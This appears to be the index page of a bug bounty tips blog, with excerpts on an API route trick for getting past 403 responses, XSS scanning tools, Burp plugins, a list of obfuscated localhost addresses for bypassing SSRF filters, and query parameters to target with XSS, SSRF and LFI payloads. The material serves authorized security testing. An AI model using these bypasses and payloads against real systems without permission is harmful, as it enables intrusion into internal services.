API #Bugbounty Tips
When you found API endpoint like “/api/v12/somthing” add “internal” to the route and check the respons. Example: Request:/api/v12/users/<userID> Respons: 403 Request: “/api/v12/internal/users/<userID>Respons: 200 After this […]
Bug Bounty Tips
List of Tools to Detect XSS Vulnerabilities
XSSerW3afProbelyPower fuzzerBurp SuiteNetsparkerZAProxyWebScarabXSStrikeXSScrapywfuzzImmuniWeb On-demandnmapJMeterwapitiZAP-CLIArachniXSS HunterFirebugxsssniperSkipfishKNOXSSAcunetixPsalm Plus:Also you will need https://xsshunter.com/ #bugbountytips #xss
SSRF Bypass List For Localhost (127.0.0.1)
http://127.1/ http://0000::1:80/ http://[::]:80/ http://2130706433/ http://whitelisted@127.0.0.1 http://0x7f000001/ http://017700000001 http://0177.00.00.01 http://⑯⑨。②⑤④。⑯⑨｡②⑤④/ http://⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ｡⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ:80/ http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/ http://②⑧⑤②⓪③⑨①⑥⑥:80/ http://④②⑤｡⑤①⓪｡④②⑤｡⑤①⓪:80/ http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/ http://0xd8.0x3a.0xd6.0xe3 Good luck!
How to Find Deserialization Vulnerabilities? Freddy.
Are you goint to test a web site? And you are looking for deserialization vulnerabilities? All you need is Freddy Burpsuite plugin. Which target are […]
How to find J2EE vulnerabilities (Tomcat, Weblogic etc.)
How to find Tomcat, Weblogic vulnerabilities? All you need is J2EEScan (Burpsuite plugin). Which vulnerabilities can you detect with J2EEScan? Expression Language Injection (CVE-2011-2730)Apache Roller […]
Bug Bounty Tips, DORKS, Parameters Based on Frequency
Bug Bouty Cross-Site Scripting (XSS) DORKS ?q={payload}?s={payload}?search={payload}?id={payload}?lang={payload}?keywords={payload}?query={payload}?page={payload}?keyword={payload}?year={payload}?view={payload}?email={payload}?type={payload}?name={payload}?p={payload}?month={payload}?immagine={payload}?list_type={payload}?url={payload}?terms={payload}?categoryid={payload}?key={payload}?l={payload}?begindate={payload}?enddate={payload} Bug Bouty Server-Side Request Forgery (SSRF) DORKS?dest={target}?redirect={target}?uri={target}?path={target}?continue={target}?url={target}?window={target}?next={target}?data={target}?reference={target}?site={target}?html={target}?val={target}?validate={target}?domain={target}?callback={target}?return={target}?page={target}?feed={target}?host={target}?port={target}?to={target}?out={target}?view={target}?dir={target} Bug Bouty Local File Inclusion (LFI) DORKS ?cat={payload}?dir={payload}?action={payload}?board={payload}?date={payload}?detail={payload}?file={payload}?download={payload}?path={payload}?folder={payload}?prefix={payload}?include={payload}?page={payload}?inc={payload}?locate={payload}?show={payload}?doc={payload}?site={payload}?type={payload}?view={payload}?content={payload}?document={payload}?layout={payload}?mod={payload}?conf={payload Bug Bouty SQL […]